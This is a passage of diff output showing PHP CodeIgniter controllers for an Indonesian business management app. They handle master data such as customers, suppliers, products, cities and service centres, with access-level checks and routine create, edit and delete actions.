$top_pelanggan = $this->input->post('top_pelangganed');
$jangka_pelanggan = $this->input->post('jangka_pelangganed');
$username = $this->session->userdata('username');
$id_karyawan = $this->session->userdata('id_karyawan');
$datPelanggan1 = $this->Dashboard->getData_Pelanggan_byID($id_pelanggan);
if ($datPelanggan1[0]['NAMA_PELANGGAN']!=$nama_pelanggan ) {
$datPelanggan2 = $this->Dashboard->getData_Pelanggan_byNAMA($nama_pelanggan);
if ($datPelanggan2==TRUE) {
$this->session->set_flashdata('data_copy', 'error');
redirect('ManagePelanggan');
}
}
if ($username=="admin" OR $username=="sugeng" OR $username=="iwan" OR $username=="helda" OR $username=="venny") {
if ($top_pelanggan<0 OR $jangka_pelanggan<0 OR $limit_pelanggan<=0) {
$this->session->set_flashdata('not_valid', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
} else {
if ($id_karyawan==11) {
$top_pelanggan = 0;
}
if ($top_pelanggan<0) {
$this->session->set_flashdata('not_valid', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
}
if ($id_kelompok=="" OR $id_kelompok==NULL) {
$id_kelompok = 0;
}
$email_pelanggan = preg_replace('/"/', '', $email_pelanggan);
if ($username=="admin" OR $username=="sugeng" OR $username=="helda" OR $username=="venny") {
$update = [
'NAMA_PELANGGAN' => $nama_pelanggan,
'ALIAS_PELANGGAN' => $alias_pelanggan,
'ALAMAT_PELANGGAN' => $alamat_pelanggan,
'KIRIM_PELANGGAN' => $kirim_pelanggan,
'TELP_PELANGGAN' => $telp_pelanggan,
'PIC_PELANGGAN' => $pic_pelanggan,
'NPWP_PELANGGAN' => $npwp_pelanggan,
'EMAIL_PELANGGAN' => $email_pelanggan,
'TYPE_PELANGGAN' => $type_pelanggan,
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
'LIMIT_PELANGGAN' => $limit_pelanggan,
'TOP_PELANGGAN' => $top_pelanggan,
'JANGKA_PELANGGAN' => $jangka_pelanggan,
];
} else if ($username=="iwan" OR $username=="gita") {
$update = [
'NAMA_PELANGGAN' => $nama_pelanggan,
'ALIAS_PELANGGAN' => $alias_pelanggan,
'ALAMAT_PELANGGAN' => $alamat_pelanggan,
'KIRIM_PELANGGAN' => $kirim_pelanggan,
'TELP_PELANGGAN' => $telp_pelanggan,
'PIC_PELANGGAN' => $pic_pelanggan,
'NPWP_PELANGGAN' => $npwp_pelanggan,
'EMAIL_PELANGGAN' => $email_pelanggan,
'TYPE_PELANGGAN' => $type_pelanggan,
'LIMIT_PELANGGAN' => $limit_pelanggan,
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
'TOP_PELANGGAN' => $top_pelanggan
];
} else {
$update = [
'NAMA_PELANGGAN' => $nama_pelanggan,
'ALIAS_PELANGGAN' => $alias_pelanggan,
'ALAMAT_PELANGGAN' => $alamat_pelanggan,
'KIRIM_PELANGGAN' => $kirim_pelanggan,
'TELP_PELANGGAN' => $telp_pelanggan,
'PIC_PELANGGAN' => $pic_pelanggan,
'NPWP_PELANGGAN' => $npwp_pelanggan,
'EMAIL_PELANGGAN' => $email_pelanggan,
'TYPE_PELANGGAN' => $type_pelanggan,
'KELOMPOK_ID' => $id_kelompok,
'KOTA_ID' => $id_kota,
];
}
$action = $this->Dashboard->update('pelanggan', $update, 'ID_PELANGGAN', $id_pelanggan);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManagePelanggan');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManagePelanggan');
}
}
public function hapus() {
$id = $this->input->post('id_pelanggandel');
$datSo = $this->Dashboard->getData_SalesOrder_byPELANGGAN($id);
$datHsn = $this->Dashboard->getData_HistoriSn_byPELANGGAN($id);
$datPda = $this->Dashboard->getData_PiutangDagang_byPELANGGAN($id);
$datDpj = $this->Dashboard->getData_DaftarAkuntansi_byPELANGGAN($id);
$datService = $this->Dashboard->getData_Service_byPELANGGAN($id);
$datProyek = $this->Dashboard->getData_Proyek_byPELANGGAN($id);
if ($datSo==TRUE OR $datHsn==TRUE OR $datPda==TRUE OR $datDpj==TRUE OR $datService==TRUE OR $datProyek==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManagePelanggan');
}
$action = $this->Dashboard->delete('pelanggan', $id, 'ID_PELANGGAN');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManagePelanggan');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManagePelanggan');
}
}
public function simpan_excel_pelanggan() {
$id_karyawan = $this->session->userdata('id_karyawan');
$pilih_tabel = array('No', 'Tipe', 'Nama' ,'Alias', 'Alamat', 'Alamat Kirim', 'Kota', 'PIC', 'Kelompok', 'Telepon', 'NPWP', 'Email');
$tgl = date('d/m/Y');
$datSpe = $this->Dashboard->getData_SetPelanggan_byKARYAWAN($id_karyawan);
if ($datSpe==FALSE) {
$id_kota = 2;
$id_kelompok = 0;
$nama_spe = NULL;
$type_spe = 9;
} else {
$id_kota = $datSpe[0]['KOTA_ID'];
$id_kelompok = $datSpe[0]['KELOMPOK_ID'];
$nama_spe = $datSpe[0]['NAMA_SPE'];
$type_spe = $datSpe[0]['TYPE_SPE'];
}
$dataExcel = $this->Dashboard->getData_Pelanggan_byNAMA_byTYPE_byKOTA_byKELOMPOK_forExcel($nama_spe, $type_spe, $id_kota, $id_kelompok);
$data = [
'title' => '',
'jumlah_kolom' => count($pilih_tabel),
'nama_tabel' => $pilih_tabel,
'laporan' => $dataExcel,
'tgl' => $tgl,
];
$this->load->view('cetak/excel_pelanggan', $data);
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,57 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManagePerkiraan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datPerkiraan = $this->Dashboard->getData_Perkiraan();
$no = 0;
foreach ($datPerkiraan as $key) {
$datDkb = $this->Dashboard->getData_DaftarKasbank_byPERKIRAAN($key['ID_PERKIRAAN']);
$datDjm = $this->Dashboard->getData_DaftarJurnalMemo_byPERKIRAAN($key['ID_PERKIRAAN']);
if ($datDkb==TRUE OR $datDjm==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datPerkiraan[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PERKIRAAN_SHM']==0) {
$akses = "Tidak Berhak";
$datPerkiraan = NULL;
} else if ($datShm[0]['PERKIRAAN_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PERKIRAAN_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'perkiraan' => $datPerkiraan,
'hak' => $datShm[0]['PERKIRAAN_SHM'],
'akses' => $akses,
];
$this->load->view('master/Perkiraan', $data);
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,131 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManagePihakKe3 extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datPihakKe3 = $this->Dashboard->getData_PihakKe3();
$datKota = $this->Dashboard->getData_Kota();
$no = 0;
foreach ($datPihakKe3 as $key) {
$datPpk = $this->Dashboard->getData_PiutangPihakKe3_byPIHAKKE3($key['ID_PIHAKKE3']);
if ($datPpk==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datPihakKe3[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PIHAKKE3_SHM']==0) {
$akses = "Tidak Berhak";
$datPihakKe3 = NULL;
} else if ($datShm[0]['PIHAKKE3_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PIHAKKE3_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'pihakke3' => $datPihakKe3,
'kota' => $datKota,
'hak' => $datShm[0]['PIHAKKE3_SHM'],
'akses' => $akses,
];
$this->load->view('master/PihakKe3', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_pihakke3 = $this->input->post('id');
$id_kota = $this->input->post('id_kota');
$nama_pihakke3 = $this->input->post('nama_pihakke3');
$alamat_pihakke3 = $this->input->post('alamat_pihakke3');
$telp_pihakke3 = $this->input->post('telp_pihakke3');
$alamat_pihakke3 = preg_replace('/\R+/', " " , $alamat_pihakke3);
$input = [
'NAMA_PIHAKKE3' => $nama_pihakke3,
'ALAMAT_PIHAKKE3' => $alamat_pihakke3,
'TELP_PIHAKKE3' => $telp_pihakke3,
'KOTA_ID' => $id_kota
];
$action = $this->Dashboard->create('pihakke3', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManagePihakKe3');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManagePihakKe3');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_pihakke3 = $this->input->post('id_pihakke3ed');
$id_kota = $this->input->post('id_kotaed');
$nama_pihakke3 = $this->input->post('nama_pihakke3ed');
$alamat_pihakke3 = $this->input->post('alamat_pihakke3ed');
$telp_pihakke3 = $this->input->post('telp_pihakke3ed');
$alamat_pihakke3 = preg_replace('/\R+/', " " , $alamat_pihakke3);
$update = [
'NAMA_PIHAKKE3' => $nama_pihakke3,
'ALAMAT_PIHAKKE3' => $alamat_pihakke3,
'TELP_PIHAKKE3' => $telp_pihakke3,
'KOTA_ID' => $id_kota
];
$action = $this->Dashboard->update('pihakke3', $update,'ID_PIHAKKE3',$id_pihakke3);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManagePihakKe3');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManagePihakKe3');
}
}
public function hapus() {
$id = $this->input->post('id_pihakke3del');
$datPpk = $this->Dashboard->getData_PiutangPihakKe3_byPIHAKKE3($id);
if ($datPpk==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManagePihakKe3');
}
$action = $this->Dashboard->delete('pihakke3', $id, 'ID_PIHAKKE3');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManagePihakKe3');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManagePihakKe3');
}
}
}
@@ -0,0 +1,123 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManagePosisi extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datPosisi = $this->Dashboard->getData_Posisi();
$no = 0;
foreach ($datPosisi as $key) {
$datKontak = $this->Dashboard->getData_Kontak_byPOSISI($key['ID_POSISI']);
if ($datKontak==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datPosisi[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['POSISI_SHM']==0) {
$akses = "Tidak Berhak";
$datPosisi = NULL;
} else if ($datShm[0]['POSISI_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['POSISI_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'posisi' => $datPosisi,
'hak' => $datShm[0]['POSISI_SHM'],
'akses' => $akses,
];
$this->load->view('master/Posisi', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_posisi');
$nama_posisi = $this->input->post('nama_posisi');
$input = [
'NAMA_POSISI' => $nama_posisi
];
$action = $this->Dashboard->create('posisi', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManagePosisi');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManagePosisi');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_posisi = $this->input->post('id_posisied');
$nama_posisi = $this->input->post('nama_posisied');
$update = [
'NAMA_POSISI' => $nama_posisi
];
$action = $this->Dashboard->update('posisi', $update, 'ID_POSISI', $id_posisi);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManagePosisi');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManagePosisi');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_posisidel');
$datPosisi = $this->Dashboard->getData_Kontak_byPOSISI($id);
if ($datPosisi==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManagePosisi');
}
$action = $this->Dashboard->delete('posisi', $id, 'ID_POSISI');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManagePosisi');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManagePosisi');
}
}
}
@@ -0,0 +1,133 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageProduk extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datProduk = $this->Dashboard->getData_Produk();
$no = 0;
foreach ($datProduk as $key) {
$datCn = $this->Dashboard->getData_CreditNote_byPRODUK($key['ID_PRODUK']);
if ($datCn==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datProduk[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PRODUK_SHM']==0) {
$akses = "Tidak Berhak";
$datProduk = NULL;
} else if ($datShm[0]['PRODUK_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PRODUK_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'hak' => $datShm[0]['PRODUK_SHM'],
'akses' => $akses,
'produk' => $datProduk,
];
$this->load->view('master/Produk', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_produk = $this->input->post('id');
$nama_produk = $this->input->post('nama_produk');
$tgl = date('Y-m-d');
$nama_produk = strtoupper($nama_produk);
$datProduk = $this->Dashboard->getData_Produk_byNAMA($nama_produk);
if ($datProduk==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageProduk');
}
$input = [
'NAMA_PRODUK' => $nama_produk,
];
$action = $this->Dashboard->create('produk', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageProduk');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageProduk');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_produk = $this->input->post('id_produked');
$nama_produk = $this->input->post('nama_produked');
$nama_produk = strtoupper($nama_produk);
$datProduk = $this->Dashboard->getData_Produk_byNAMA($nama_produk, $id_produk);
if ($datProduk==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageProduk');
}
$update = [
'NAMA_PRODUK' => $nama_produk,
];
$action = $this->Dashboard->update('produk', $update, 'ID_PRODUK', $id_produk);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageProduk');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageProduk');
}
}
public function hapus() {
$id_produk = $this->input->post('id_produkdel');
$datProduk = $this->Dashboard->getData_CreditNote_byPRODUK($id_produk);
if ($datProduk==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageProduk');
}
$action = $this ->Dashboard->delete('produk', $id_produk, 'ID_PRODUK');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageProduk');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageProduk');
}
}
}
@@ -0,0 +1,141 @@
<?php
use Restserver\Libraries\REST_Controller;
defined('BASEPATH') or exit('No direct script access allowed');
require APPPATH . 'libraries/REST_Controller.php';
require APPPATH . 'libraries/Format.php';
class ManageProgram extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datProgram = $this->Dashboard->getData_Program();
$no = 0;
foreach ($datProgram as $key) {
$datLkpr = $this->Dashboard->getData_LinkKlaimProgram_byPROGRAM($key['ID_PROGRAM']);
if ($datLkpr==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datProgram[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['PROGRAM_SHM']==0) {
$akses = "Tidak Berhak";
$datProgram = NULL;
} else if ($datShm[0]['PROGRAM_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['PROGRAM_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'program' => $datProgram,
'hak' => $datShm[0]['PROGRAM_SHM'],
'akses' => $akses,
];
$this->load->view('master/Program', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id = $this->input->post('id_program');
$kode_program = $this->input->post('kode_program');
$nama_program = $this->input->post('nama_program');
$datProgram = $this->Dashboard->getData_Program_byNAMA($nama_program);
if ($datProgram==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageProgram');
}
$kode_program = strtoupper($kode_program);
$input = [
'KODE_PROGRAM' => $kode_program,
'NAMA_PROGRAM' => $nama_program,
];
$action = $this->Dashboard->create('program', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageProgram');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageProgram');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_program = $this->input->post('id_programed');
$kode_program = $this->input->post('kode_programed');
$nama_program = $this->input->post('nama_programed');
$datProgram = $this->Dashboard->getData_Program_byNAMA($nama_program, $id_program);
if ($datProgram==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageProgram');
}
$kode_program = strtoupper($kode_program);
$update = [
'KODE_PROGRAM' => $kode_program,
'NAMA_PROGRAM' => $nama_program,
];
$action = $this->Dashboard->update('program', $update, 'ID_PROGRAM', $id_program);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageProgram');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageProgram');
}
}
public function hapus() {
$method = $this->input->post('method');
$id = $this->input->post('id_programdel');
$datLkpr = $this->Dashboard->getData_LinkKlaimProgram_byPROGRAM($id);
if ($datLkpr==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageProgram');
}
$action = $this->Dashboard->delete('program', $id, 'ID_PROGRAM');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageProgram');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageProgram');
}
}
}
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,120 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageSatuan extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKota = $this->Dashboard->getData_Kota();
$no = 0;
foreach ($datKota as $key) {
$datSupplier = $this->Dashboard->getData_Supplier_byKOTA($key['ID_KOTA']);
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKOTA($key['ID_KOTA']);
$datPihakke3 = $this->Dashboard->getData_Pihakke3_byKOTA($key['ID_KOTA']);
if ($datSupplier==TRUE OR $datPelanggan==TRUE OR $datPihakke3==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datKota[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['KOTA_SHM']==0) {
$akses = "Tidak Berhak";
$datKota = NULL;
} else if ($datShm[0]['KOTA_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['KOTA_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'kota' => $datKota,
'hak' => $datShm[0]['KOTA_SHM'],
'akses' => $akses,
];
$this->load->view('master/Kota', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_kota = $this->input->post('id');
$nama_kota = $this->input->post('nama_kota');
$input = [
'NAMA_KOTA' => $nama_kota
];
$action = $this->Dashboard->create('kota', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageKota');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_kota = $this->input->post('id_kotaed');
$nama_kota = $this->input->post('nama_kotaed');
$update = [
'NAMA_KOTA' => $nama_kota
];
$action = $this->Dashboard->update('kota', $update,'ID_KOTA',$id_kota);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageKota');
}
}
public function hapus() {
$id = $this->input->post('id_kotadel');
$datSupplier = $this->Dashboard->getData_Supplier_byKOTA($id);
$datPelanggan = $this->Dashboard->getData_Pelanggan_byKOTA($id);
$datPihakke3 = $this->Dashboard->getData_Pihakke3_byKOTA($id);
if ($datSupplier==TRUE OR $datPelanggan==TRUE OR $datPihakke3==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect($_SERVER['HTTP_REFERER']);
}
$action = $this->Dashboard->delete('kota', $id, 'ID_KOTA');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageKota');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageKota');
}
}
}
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,138 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageServiceCenter extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datServiceCenter = $this->Dashboard->getData_ServiceCenter();
$no = 0;
foreach ($datServiceCenter as $key) {
$datKsv = $this->Dashboard->getData_KlaimService_bySERVICECENTER($key['ID_SERVICECENTER']);
if ($datKsv==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datServiceCenter[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['SERVICECENTER_SHM']==0) {
$akses = "Tidak Berhak";
$datServiceCenter = NULL;
} else if ($datShm[0]['SERVICECENTER_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['SERVICECENTER_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'servicecenter' => $datServiceCenter,
'hak' => $datShm[0]['SERVICECENTER_SHM'],
'akses' => $akses,
];
$this->load->view('master/ServiceCenter', $data);
}
public function simpan() {
$method = $this->input->post('method');
$id_servicecenter = $this->input->post('id');
$nama_servicecenter = $this->input->post('nama_servicecenter');
$alamat_servicecenter = $this->input->post('alamat_servicecenter');
$nama_servicecenter = strtoupper($nama_servicecenter);
$alamat_servicecenter = preg_replace('/\R+/', " " , $alamat_servicecenter);
$datServiceCenter = $this->Dashboard->getData_ServiceCenter_byNAMA($nama_servicecenter);
if ($datServiceCenter==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageServiceCenter');
}
$input = [
'NAMA_SERVICECENTER' => $nama_servicecenter,
'ALAMAT_SERVICECENTER' => $alamat_servicecenter
];
$action = $this->Dashboard->create('servicecenter', $input);
if ($action) {
$this->session->set_flashdata('success', 'ditambah');
redirect('ManageServiceCenter');
} else {
$this->session->set_flashdata('failed', 'ditambah');
redirect('ManageServiceCenter');
}
}
public function ubah() {
$method = $this->input->post('method');
$id_servicecenter = $this->input->post('id_servicecentered');
$nama_servicecenter = $this->input->post('nama_servicecentered');
$alamat_servicecenter = $this->input->post('alamat_servicecentered');
$nama_servicecenter = strtoupper($nama_servicecenter);
$alamat_servicecenter = preg_replace('/\R+/', " " , $alamat_servicecenter);
$datServiceCenter = $this->Dashboard->getData_ServiceCenter_byNAMA($nama_servicecenter, $id_servicecenter);
if ($datServiceCenter==TRUE) {
$this->session->set_flashdata('data_same', 'error');
redirect('ManageServiceCenter');
}
$update = [
'NAMA_SERVICECENTER' => $nama_servicecenter,
'ALAMAT_SERVICECENTER' => $alamat_servicecenter
];
$action = $this->Dashboard->update('servicecenter', $update, 'ID_SERVICECENTER', $id_servicecenter);
if ($action) {
$this->session->set_flashdata('success', 'diubah');
redirect('ManageServiceCenter');
} else {
$this->session->set_flashdata('failed', 'diubah');
redirect('ManageServiceCenter');
}
}
public function hapus() {
$id_servicecenter = $this->input->post('id_servicecenterdel');
$datKlaimService = $this->Dashboard->getData_KlaimService_bySERVICECENTER($id_servicecenter);
if ($datKlaimService==TRUE) {
$this->session->set_flashdata('data_used', 'error');
redirect('ManageServiceCenter');
}
$action = $this ->Dashboard->delete('servicecenter', $id_servicecenter, 'ID_SERVICECENTER');
if ($action) {
$this->session->set_flashdata('success', 'dihapus');
redirect('ManageServiceCenter');
} else {
$this->session->set_flashdata('failed', 'dihapus');
redirect('ManageServiceCenter');
}
}
}
@@ -0,0 +1,237 @@
<?php
defined('BASEPATH') or exit('No direct script access allowed');
class ManageSupplier extends CI_Controller
{
function __construct()
{
parent::__construct();
$this->load->model('ModelDashboard', 'Dashboard');
$this->load->model('AllModels', 'Amod');
$this->load->library(['datatables', 'form_validation']);
$this->form_validation->set_error_delimiters('', '');
$this->Dashboard->ceklogin();
}
public function output_json($data, $encode = true)
{
if ($encode) $data = json_encode($data);
$this->output->set_content_type('application/json')->set_output($data);
}
public function index() {
$id_karyawan = $this->session->userdata('id_karyawan');
$datShm = $this->Dashboard->getData_SetHakMaster_byKARYAWAN($id_karyawan);
$datKota = $this->Dashboard->getData_Kota();
$datSupLatest = $this->Dashboard->getData_Supplier_orderDESC_limit10();
$tgl_now = date('d/m/Y');
$datShk = $this->Dashboard->getData_SetSupplier_byKARYAWAN($id_karyawan);
if ($datShk==FALSE) {
$id_kota = 1;
$nama_ssu = NULL;
} else {
$id_kota = $datShk[0]['KOTA_ID'];
$nama_ssu = $datShk[0]['NAMA_SSU'];
}
$datSupplier = $this->Dashboard->getData_Supplier_byNAMA_byKOTA($nama_ssu, $id_kota);
$no = 0;
foreach ($datSupplier as $key) {
$datDkpr = $this->Dashboard->getData_DaftarKlaimProgram_bySUPPLIER($key['ID_SUPPLIER']);
$datDpb = $this->Dashboard->getData_DpPembelian_bySUPPLIER($key['ID_SUPPLIER']);
$datHda = $this->Dashboard->getData_HutangDagang_bySUPPLIER($key['ID_SUPPLIER']);
$datPembelian = $this->Dashboard->getData_Pembelian_bySUPPLIER($key['ID_SUPPLIER']);
if ($datDkpr==TRUE OR $datDpb==TRUE OR $datHda==TRUE OR $datPembelian==TRUE) {
$lock = 1;
} else {
$lock = 0;
}
$datSupplier[$no++] += ['LOCK' => $lock];
}
if ($datShm[0]['SUPPLIER_SHM']==0) {
$akses = "Tidak Berhak";
$datSupplier = NULL;
$datSupLatest = NULL;
} else if ($datShm[0]['SUPPLIER_SHM']==1) {
$akses = "Hanya Baca";
} else if ($datShm[0]['SUPPLIER_SHM']==2) {
$akses = "Akses Penuh";
}
$data = [
'sidebar' => "dashboard",
'navChild' => "",
'supplier' => $datSupplier,
'sup_latest' => $datSupLatest,
'kota' => $datKota,
'id_kota' => $id_kota,
'nama_ssu' => $nama_ssu,
'tgl_now' => $tgl_now,
'hak' => $datShm[0]['SUPPLIER_SHM'],
'akses' => $akses,
];
$this->load->view('master/Supplier', $data);
}
public function simpanset_AA1() {
$method = $this->input->post('method');
$id_kota = $this->input->post('id_kota');
$nama_ssu = $this->input->post('nama_ssu');
$id_karyawan = $this->session->userdata('id_karyawan');
$tgl = date('Y-m-d H:i:s');
$nama_ssu = strtoupper($nama_ssu);
